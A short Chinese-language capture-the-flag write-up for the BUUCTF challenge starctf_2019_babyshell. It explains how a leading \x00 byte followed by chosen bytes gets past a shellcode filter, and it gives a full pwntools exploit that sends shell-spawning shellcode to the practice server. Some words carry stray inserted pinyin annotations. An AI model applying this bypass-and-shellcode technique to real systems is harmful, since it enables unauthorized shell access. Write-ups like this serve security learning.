[BUUCTF-pwn]——starctf_2019_babyshell

學到了， 又學到了FMYY師傅太強了

只需要通過\x00繞過檢查， 同時執(zhí)行我們輸入的shellcode就好

**\x00B后面加上一個字符， 對應(yīng)一個匯編語句。**所以我們可以通過\x00B\x22、\x00B\x00等等來繞過那個檢查

當然其他匯編肯定也可以大家可以自己找找哈，看到別的師傅好像\x00J\x00也是可以滴

from pwn import * context.arch = "amd64" p = remote("node3.buuoj.cn",27993) #p = process("./starctf_2019_babyshell") payload = '\x00B3' + asm(shellcraft.sh())p.sendline(payload) p.interactive()

總結(jié)

以上是生活随笔為你收集整理的[BUUCTF-pwn]——starctf_2019_babyshell的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。